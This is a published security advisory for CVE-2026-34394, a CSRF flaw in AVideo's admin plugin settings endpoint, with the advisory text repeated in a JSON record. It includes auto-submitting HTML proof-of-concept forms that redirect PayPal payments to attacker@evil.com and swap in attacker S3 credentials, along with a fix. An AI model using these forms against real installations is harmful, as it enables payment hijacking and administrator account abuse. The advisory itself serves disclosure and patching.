GHSA-4WWR-7H7C-CHQR

Vulnerability from github – Published: 2026-03-31 23:15 – Updated: 2026-03-31 23:15
VLAI?
Summary
AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking
Details

Summary

AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.

Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.

Details

The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:

// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');

This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.

The save endpoint in admin/save.json.php directly processes POST data without any token verification:

// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();

The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:

// objects/Object.php:529
static function ignoreTableSecurityCheck() {
    return ['plugins', /* ... other tables ... */];
}

Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.

Proof of Concept

Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="PayPerView" />
    <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" />
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

To overwrite S3 storage credentials instead:

<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="AWS_S3" />
    <input type="hidden" name="region" value="us-east-1" />
    <input type="hidden" name="bucket" value="attacker-bucket" />
    <input type="hidden" name="key" value="ATTACKER_KEY_ID" />
    <input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>

Reproduction steps:

  1. Log in to AVideo as an administrator.
  2. In a separate browser tab, open the attacker's HTML page.
  3. The form auto-submits, overwriting the target plugin configuration.
  4. Verify the change by navigating to the plugin settings page in the admin panel.

Impact

An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:

  • Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
  • Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
  • Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
  • Backdoor installation: Enable and configure plugins to introduce persistent access.

This is a full platform takeover with zero user interaction beyond a single page visit.

  • CWE: CWE-352 (Cross-Site Request Forgery)

Recommended Fix

Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:

// admin/save.json.php:10
if (!isGlobalTokenValid()) {
    die('{"error":"Invalid CSRF token"}');
}

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:15:25Z",
    "nvd_published_at": "2026-03-31T21:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAVideo\u0027s admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session.\n\nBecause the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.\n\n## Details\n\nThe session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:\n\n```php\n// objects/include_config.php:135\nini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n```\n\nThis means cookies are attached to all cross-origin requests, making CSRF attacks trivial.\n\nThe save endpoint in `admin/save.json.php` directly processes POST data without any token verification:\n\n```php\n// admin/save.json.php\n$pluginName = $_POST[\u0027pluginName\u0027];\n$pluginValues = $_POST;\n// ...\n$pluginDO-\u003e$key = $pluginValues[$key];\n$p-\u003esetObject_data(json_encode($pluginDO));\n$p-\u003esave();\n```\n\nThe `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:\n\n```php\n// objects/Object.php:529\nstatic function ignoreTableSecurityCheck() {\n    return [\u0027plugins\u0027, /* ... other tables ... */];\n}\n```\n\nEven the ORM-level protections that exist for other tables do not apply to plugin configuration writes.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker\u0027s address:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cform id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n    \u003cinput type=\"hidden\" name=\"pluginName\" value=\"PayPerView\" /\u003e\n    \u003cinput type=\"hidden\" name=\"paypalReceiverEmail\" value=\"attacker@evil.com\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003e\n    document.getElementById(\u0027csrf\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nTo overwrite S3 storage credentials instead:\n\n```html\n\u003cform id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n    \u003cinput type=\"hidden\" name=\"pluginName\" value=\"AWS_S3\" /\u003e\n    \u003cinput type=\"hidden\" name=\"region\" value=\"us-east-1\" /\u003e\n    \u003cinput type=\"hidden\" name=\"bucket\" value=\"attacker-bucket\" /\u003e\n    \u003cinput type=\"hidden\" name=\"key\" value=\"ATTACKER_KEY_ID\" /\u003e\n    \u003cinput type=\"hidden\" name=\"secret\" value=\"ATTACKER_SECRET\" /\u003e\n\u003c/form\u003e\n```\n\nReproduction steps:\n\n1. Log in to AVideo as an administrator.\n2. In a separate browser tab, open the attacker\u0027s HTML page.\n3. The form auto-submits, overwriting the target plugin configuration.\n4. Verify the change by navigating to the plugin settings page in the admin panel.\n\n## Impact\n\nAn attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:\n\n- **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.\n- **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.\n- **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.\n- **Backdoor installation**: Enable and configure plugins to introduce persistent access.\n\nThis is a full platform takeover with zero user interaction beyond a single page visit.\n\n- **CWE**: CWE-352 (Cross-Site Request Forgery)\n\n## Recommended Fix\n\nAdd CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:\n\n```php\n// admin/save.json.php:10\nif (!isGlobalTokenValid()) {\n    die(\u0027{\"error\":\"Invalid CSRF token\"}\u0027);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-4wwr-7h7c-chqr",
  "modified": "2026-03-31T23:15:25Z",
  "published": "2026-03-31T23:15:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34394"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…